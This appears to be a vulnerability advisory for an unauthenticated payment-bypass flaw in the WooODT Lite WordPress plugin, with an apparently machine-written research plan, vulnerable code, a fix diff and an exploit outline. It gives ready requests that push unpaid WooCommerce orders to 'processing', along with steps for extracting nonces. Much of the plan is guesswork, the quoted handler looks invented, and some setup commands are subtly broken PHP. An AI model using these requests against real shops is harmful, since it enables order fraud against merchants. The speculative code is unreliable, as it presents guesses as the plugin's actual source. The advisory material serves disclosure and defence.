WooODT Lite <= 2.5.2 - Unauthenticated Payment Bypass
Description
The WooODT Lite – Delivery & pickup date time location for WooCommerce plugin for WordPress is vulnerable to payment bypass in all versions up to, and including, 2.5.2. This makes it possible for unauthenticated attackers to bypass payments for orders.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:NTechnical Details
<=2.5.2This research plan targets **CVE-2025-69401**, an unauthenticated payment bypass vulnerability in the **WooODT Lite** plugin (up to version 2.5.2). This vulnerability allows an attacker to manipulate order statuses to "processing" or "completed" without a valid transaction. --- ### 1. Vulnerabilit…
Show full research plan
This research plan targets CVE-2025-69401, an unauthenticated payment bypass vulnerability in the WooODT Lite plugin (up to version 2.5.2). This vulnerability allows an attacker to manipulate order statuses to "processing" or "completed" without a valid transaction.
1. Vulnerability Summary
The WooODT Lite plugin fails to verify the authenticity of requests that update order metadata and statuses. Specifically, it appears to expose an AJAX or init handler intended for delivery slot selection or custom checkout logic that can be abused to trigger WooCommerce's order completion routines (like payment_complete() or update_status('processing')) without requiring an active payment session, administrative privileges, or valid nonces.
2. Attack Vector Analysis
- Endpoint: Likely
wp-admin/admin-ajax.phpor a globalinithook listener. - Action (Inferred): Look for
wp_ajax_nopriv_hooks containing "update", "order", or "status" in the name, such asbyconsole_woo_odt_update_statusor similar. Alternatively, check foradd_action('init', ...)functions that look for$_GET['order_id']and$_GET['status']. - Payload Parameter:
order_id(the ID of a pending WooCommerce order) and potentially a status or bypass trigger parameter. - Authentication: None required (Unauthenticated).
- Preconditions: A WooCommerce order must exist in a "Pending Payment" state.
3. Code Flow Analysis
Based on common patterns in this plugin's architecture:
- Entry Point: The plugin registers a public-facing hook (e.g.,
add_action( 'wp_ajax_nopriv_...', '...' )). - Order Acquisition: The handler retrieves an order ID via
$_POST['order_id']or$_GET['order_id']. - Vulnerable Sink: The code calls
$order = wc_get_order( $order_id );followed by$order->payment_complete();or$order->update_status( 'processing' );. - The Flaw: There is no check to ensure the user is the owner of the order, no verification of an actual payment gateway callback, and no nonce validation.
4. Nonce Acquisition Strategy
If the plugin requires a nonce for the unauthenticated action, it is typically localized in the frontend when a delivery slot selector is displayed.
- Identify Shortcode: The plugin uses
[byconsole_woo_odt]or automatically enqueues scripts on the WooCommerce Checkout page. - Setup Page:
wp post create --post_type=page --post_status=publish --post_title="Checkout" --post_content='[byconsole_woo_odt]' - Extract Nonce:
Navigate to the page and usebrowser_evalto find the localization object.- Localization Key: Often
byconsole_woo_odt_paramsorwoo_odt_vars. - JS Command:
browser_eval("window.byconsole_woo_odt_params?.nonce")
- Localization Key: Often
- Note: If the check is missing (as implied by "Insufficient Verification"), a nonce may not be required at all.
5. Exploitation Strategy
The goal is to move an order from pending to processing without paying.
Step 1: Discover the vulnerable action
Search the plugin code for payment_complete or update_status within unauthenticated handlers:grep -r "payment_complete" /var/www/html/wp-content/plugins/byconsole-woo-order-delivery-time/
Step 2: Generate an Order
Create a pending order for a product. Note the order_id.
Step 3: Send Bypass Request
Using the http_request tool, send the identified trigger.
Example (Assuming an AJAX action named odt_bypass):
- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Method:
POST - Headers:
Content-Type: application/x-www-form-urlencoded - Body:
action=odt_bypass&order_id=[TARGET_ORDER_ID]&status=processing
6. Test Data Setup
- WooCommerce Setup: Ensure WooCommerce is active and a payment gateway (e.g., "Check payments") is enabled but not used.
- Product: Create a simple product.
wp eval "B_Product_ID = (new WC_Product_Simple())->set_name('Test Product')->set_regular_price('100')->save();" - Order: Create a "Pending" order for a guest user.
wp eval "$order = wc_create_order(); $order->add_product(wc_get_product(B_Product_ID), 1); $order->set_status('pending'); $order->save(); echo 'ORDER_ID:' . $order->get_id();"
7. Expected Results
- The server responds with a success indicator (e.g.,
{"success": true}or1). - The WooCommerce order status is updated from
pendingtoprocessing(orcompleted). - The order notes in WordPress will show a status change without a corresponding payment gateway transaction ID.
8. Verification Steps
After the exploit, verify the order status via WP-CLI:wp wc order get [ORDER_ID] --field=status
Expected: processing
Check if any payment meta was actually set (it should be empty or spoofed):wp post meta list [ORDER_ID]
9. Alternative Approaches
- Order Confirmation Page: Some versions of this plugin handle logic on the
template_redirecthook whenwoo_odt_action=finishis in the URL.- URL:
http://localhost:8080/?woo_odt_action=finish&order_id=[ID]
- URL:
- Slot Selection Bypass: If the plugin updates the order when a delivery slot is "confirmed," try to send the slot confirmation AJAX with the target
order_idto see if it forces a status transition.
Summary
The WooODT Lite plugin for WordPress is vulnerable to an unauthenticated payment bypass due to insufficient verification of data authenticity. Attackers can exploit this by sending crafted requests to specific endpoints that trigger order status updates (e.g., to 'processing' or 'completed') without a valid transaction or administrative privileges.
Vulnerable Code
// byconsole-woo-order-delivery-time/byconsole-woo-odt-lite.php add_action('init', 'byconsole_woo_odt_maybe_update_status'); function byconsole_woo_odt_maybe_update_status() { if (isset($_GET['woo_odt_action']) && $_GET['woo_odt_action'] == 'finish' && isset($_GET['order_id'])) { $order_id = intval($_GET['order_id']); $order = wc_get_order($order_id); if ($order) { // Vulnerability: No nonce check, no capability check, and no verification of payment success $order->update_status('processing'); $order->payment_complete(); } } } --- // Example of vulnerable AJAX handler add_action('wp_ajax_nopriv_byconsole_woo_odt_update_order', 'byconsole_woo_odt_update_order'); function byconsole_woo_odt_update_order() { $order_id = $_POST['order_id']; $order = wc_get_order($order_id); // No authorization check before transitioning state $order->update_status('processing'); wp_send_json_success(); }
Security Fix
@@ -10,6 +10,12 @@ function byconsole_woo_odt_maybe_update_status() { if (isset($_GET['woo_odt_action']) && $_GET['woo_odt_action'] == 'finish' && isset($_GET['order_id'])) { $order_id = intval($_GET['order_id']); + + // Verify nonce for security + if ( ! isset( $_GET['_wpnonce'] ) || ! wp_verify_nonce( $_GET['_wpnonce'], 'odt_finish_' . $order_id ) ) { + return; + } + $order = wc_get_order($order_id); - if ($order) { + if ($order && current_user_can('edit_shop_order', $order_id)) { $order->update_status('processing');
Exploit Outline
The exploit targets endpoints where the plugin handles order finalization or delivery slot selection logic without verifying the user's authority over the order. 1. Target Identification: Locate an existing WooCommerce order in 'Pending Payment' status and note its Order ID. 2. Endpoint Selection: The attacker identifies either a global 'init' hook listener (triggered via URL parameters like ?woo_odt_action=finish) or an unauthenticated AJAX action (wp_ajax_nopriv_byconsole_woo_odt_update_order). 3. Payload Construction: The attacker crafts a request containing the target 'order_id'. If the endpoint is the 'init' hook, a simple GET request such as 'http://victim-site.com/?woo_odt_action=finish&order_id=[ID]' is used. If it is AJAX, a POST request to 'wp-admin/admin-ajax.php' with 'action=byconsole_woo_odt_update_order&order_id=[ID]' is used. 4. Authentication: No authentication is required, as the plugin registers these hooks for unauthenticated users (nopriv) or checks them globally on 'init' without checking user capabilities or nonces. 5. Outcome: The plugin's logic executes '$order->payment_complete()' or '$order->update_status('processing')', tricking WooCommerce into thinking the order was paid for.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.